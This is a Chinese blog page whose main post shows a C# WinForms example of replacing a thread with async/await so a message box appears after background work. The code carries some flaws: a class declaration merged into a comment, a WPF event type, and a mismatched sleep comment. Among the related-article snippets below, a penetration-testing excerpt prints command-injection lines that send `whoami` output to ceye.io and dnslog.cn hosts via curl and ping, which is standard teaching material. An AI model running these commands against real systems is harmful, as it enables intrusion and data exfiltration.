c# 使用异步函数实现线程的功能
c#程序执行时 想要拖动窗口 需要使用线程,但是使用线程 对操作前端窗体很不友好.
所以写了一个异步函数,网上搜了一下,貌似异步函数比线程 更加友好,更加现代
做这个功能的原因是 主要是想等程序执行完 走一个提示.用线程很难做到
using System;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms; // 假设你在使用 WinFormsclass Program : Form
{private Button button;private async void button_OnClick(object sender, RoutedEventArgs e){await Task.Run(() => InvokeMethod());ExportResult();// Thread t = new Thread(InvokeMethod);// t.Start(); //开始线程// t.Join(); //等待线程结束}private async void StartThread(){await Task.Run(() => InvokeMethod());MessageBox.Show("线程执行完毕。"); //主要是想等程序执行完 走一个提示.用线程很难做到}private void InvokeMethod(){// 模拟一些工作Thread.Sleep(10000); // 休眠 2 秒Console.WriteLine("InvokeMethod 执行完毕。");}[STAThread]static void Main(){Application.EnableVisualStyles();Application.Run(new Program());}
}
相关文章:
c# 使用异步函数实现线程的功能
c#程序执行时 想要拖动窗口 需要使用线程,但是使用线程 对操作前端窗体很不友好. 所以写了一个异步函数,网上搜了一下,貌似异步函数比线程 更加友好,更加现代 做这个功能的原因是 主要是想等程序执行完 走一个提示.用线程很难做到 using System; using System.Threading; usi…...
MySQL之MySQL server has gone away复现测试
测试MySQL server has gone away复现条件 环境情形一报错信息复现测试 情形二报错信息复现测试 环境 Python: 3.8/3.9 MySQL: 5.x 情形一 报错信息 File "/usr/local/lib/python3.6/dist-packages/MySQLdb/cursors.py", line 319, in _querydb.query(q)File "/…...
编程深水区之并发④:Web多线程
Node的灵感来源于Chrome,更是移植了V8引擎。在Node中能够实现的多线程,在Web环境中自然也可以。 一、浏览器是多进程和多线程的复杂应用 在本系列的第二章节,有提到现代浏览器是一个多进程和多线程的复杂应用。浏览器主进程统管全局…...
【实战指南】从提升AI知识库效果,从PDF转Markdown开始
经常有人抱怨AI知识库精确度不够、答非所问。我有时候想想,会觉得其实AI也挺冤的,因为很有可能不是它能力不行,而是你一开始给的文档就有问题,导致它提取文本有错误、不完整,那后边一连串的检索、生成怎么可能好呢&…...
Android 删除telephony的features
比如删除android.hardware.telephony.subscription 找到这个文件:frameworks/native/data/etc/android.hardware.telephony.subscription.xml <!-- This is the standard set of features for devices to support Telephony Subscription API. --> -<perm…...
Linux驱动开发—编写第一个最简单的驱动模块
文章目录 开发驱动准备工作1.正常运行的Linux系统的开发板2.内核源码树3.nfs挂载的rootfs4.得心趁手的IDE 第一个Hello world 驱动程序常见模块的操作命令模块的初始化和清理模块的版本信息模块中的各种宏 示例Hello World代码printk函数解析 使用MakeFile编译驱动模块使用insm…...
科普文:微服务之Spring Cloud 组件API网关Gateway
API网关是一个服务器,是系统的唯一入口。从面向对象设计的角度看,它与外观模式类似。API网关封装了系统内部架构,为每个客户端提供一个定制的API。它可能还具有其它职责,如身份验证、监控、负载均衡、缓存、请求分片与管理、静态响…...
Kubernetes中的CRI、CNI与CSI:深入理解云原生存储、网络与容器运行时
引言 随着云原生技术的飞速发展,Kubernetes(简称K8s)作为云原生应用的核心调度平台,其重要性日益凸显。K8s通过开放一系列接口,实现了高度的可扩展性和灵活性,其中CRI(Container Runtime Inter…...
【数据结构】二叉搜索树(Java + 链表实现)
Hi~!这里是奋斗的明志,很荣幸您能阅读我的文章,诚请评论指点,欢迎欢迎 ~~ 🌱🌱个人主页:奋斗的明志 🌱🌱所属专栏:数据结构、LeetCode专栏 📚本系…...
java Brotli压缩算法实现压缩、解压缩
在Java中实现Brotli压缩和解压缩,你可以使用org.brotlienc和org.brotlidec包中的类。以下是压缩和解压缩的基本步骤和示例代码: 压缩文件 创建FileInputStream以读取原始文件。创建BrotliOutputStream以写入压缩数据。读取原始文件并写入压缩流。关闭流…...
centos7.9 安装java相关组件
10.23.15.71 - 78 账户 admin IMES1 改为root再操作 $ sudo su root ($ su root) 下载包 /home/admin/download $ mkdir download $ chown -R admin:admin /home/admin/download 安装包 /data/local $ tar -sxvf jdk-11.0.23_linux-x64_bin.tar.gz -C /data/local $ mv jdk…...
在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现:
在IntelliJ IDEA中,快速找到控制类(Controller类)中所有的方法,可以通过以下几种方式实现: 1. 使用快捷键 Alt 7 操作说明:在IDEA中,按下Alt 7可以快速打开“Structure”窗口(在…...
ChatGPT的强大之处:探究及与国内产品的对比
论文题目:ChatGPT的强大之处:探究及与国内产品的对比 摘要 ChatGPT作为一种广泛应用的人工智能语言模型,自发布以来迅速走红全球。本文旨在探讨ChatGPT是否真如其流行程度所示那般强大,并对比其与国内类似产品的优劣,深…...
MySql审计平台
安装方式: cookieY/Yearning: 🐳 A most popular sql audit platform for mysql (github.com) 对数据库的一系列后台操作 AI助手 - AI助手提供SQL优化建议,帮助用户优化SQL语句,以获得更好的性能。同时AI助手还提供文本到SQL的…...
深度学习6--深度神经网络
1.VGG网络 在图像分 类这个领域中,深度卷积网络一般由卷积模块和全连接模块组成。 (1)卷积模块包含卷积层、池化层、Dropout 层、激活函数等。普遍认为,卷积模块是对 图像特征的提取,并不是对图像进行分类。 (2)全连接模块跟在卷积模块之后&…...
有了Power BI还需要深入学习Excel图表制作吗?
Power BI和Excel都是微软公司的产品,但它们在数据分析和可视化方面有着不同的定位和功能。 Power BI是一个强大的商业分析工具,它提供了数据集成、数据建模、报告和仪表板的创建等功能。Power BI 特别适合处理大量数据,并且可以连接到多种数…...
WEB渗透Web突破篇-命令执行
命令执行 >curl http://0ox095.ceye.io/whoami >ping whoami.b182oj.ceye.io >ping %CD%.lfofz7.dnslog.cn & cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 &…...
【MYSQL】表操作
目录 查看当前数据库含有表查看表结构创建表插入(新增create)查询(retrieve)全列查询指定列查询查询列是表达式别名查询(as)去重查询(distinct)排序查询(order by)条件查询(where)比较/逻辑运算符使用 分页查询(limit) 一条语句各…...
破解USB设备通讯协议实现自定义软件控制的步骤与方法
在设备和计算机之间通过USB进行通讯的情况下,厂家提供的软件可以控制设备,但没有提供任何其他资料和支持,这种情况下,若希望自行开发软件来实现同样的功能,可以通过以下步骤破解通讯协议并开发自定义程序。 1. 捕获US…...
FFmpeg源码:av_init_packet、get_packet_defaults、av_packet_alloc函数分析
一、av_init_packet函数 av_init_packet函数定义在FFmpeg源码(本文演示用的FFmpeg源码版本为7.0.1)的源文件libavcodec/avpacket.c中: /*** Initialize optional fields of a packet with default values.** Note, this does not touch the…...
脑机新手指南(八):OpenBCI_GUI:从环境搭建到数据可视化(下)
一、数据处理与分析实战 (一)实时滤波与参数调整 基础滤波操作 60Hz 工频滤波:勾选界面右侧 “60Hz” 复选框,可有效抑制电网干扰(适用于北美地区,欧洲用户可调整为 50Hz)。 平滑处理&…...
可靠性+灵活性:电力载波技术在楼宇自控中的核心价值
可靠性灵活性:电力载波技术在楼宇自控中的核心价值 在智能楼宇的自动化控制中,电力载波技术(PLC)凭借其独特的优势,正成为构建高效、稳定、灵活系统的核心解决方案。它利用现有电力线路传输数据,无需额外布…...
关于 WASM:1. WASM 基础原理
一、WASM 简介 1.1 WebAssembly 是什么? WebAssembly(WASM) 是一种能在现代浏览器中高效运行的二进制指令格式,它不是传统的编程语言,而是一种 低级字节码格式,可由高级语言(如 C、C、Rust&am…...
CRMEB 框架中 PHP 上传扩展开发:涵盖本地上传及阿里云 OSS、腾讯云 COS、七牛云
目前已有本地上传、阿里云OSS上传、腾讯云COS上传、七牛云上传扩展 扩展入口文件 文件目录 crmeb\services\upload\Upload.php namespace crmeb\services\upload;use crmeb\basic\BaseManager; use think\facade\Config;/*** Class Upload* package crmeb\services\upload* …...
Map相关知识
数据结构 二叉树 二叉树,顾名思义,每个节点最多有两个“叉”,也就是两个子节点,分别是左子 节点和右子节点。不过,二叉树并不要求每个节点都有两个子节点,有的节点只 有左子节点,有的节点只有…...
算法笔记2
1.字符串拼接最好用StringBuilder,不用String 2.创建List<>类型的数组并创建内存 List arr[] new ArrayList[26]; Arrays.setAll(arr, i -> new ArrayList<>()); 3.去掉首尾空格...
sipsak:SIP瑞士军刀!全参数详细教程!Kali Linux教程!
简介 sipsak 是一个面向会话初始协议 (SIP) 应用程序开发人员和管理员的小型命令行工具。它可以用于对 SIP 应用程序和设备进行一些简单的测试。 sipsak 是一款 SIP 压力和诊断实用程序。它通过 sip-uri 向服务器发送 SIP 请求,并检查收到的响应。它以以下模式之一…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
一些实用的chrome扩展0x01
简介 浏览器扩展程序有助于自动化任务、查找隐藏的漏洞、隐藏自身痕迹。以下列出了一些必备扩展程序,无论是测试应用程序、搜寻漏洞还是收集情报,它们都能提升工作流程。 FoxyProxy 代理管理工具,此扩展简化了使用代理(如 Burp…...
aardio 自动识别验证码输入
技术尝试 上周在发学习日志时有网友提议“在网页上识别验证码”,于是尝试整合图像识别与网页自动化技术,完成了这套模拟登录流程。核心思路是:截图验证码→OCR识别→自动填充表单→提交并验证结果。 代码在这里 import soImage; import we…...
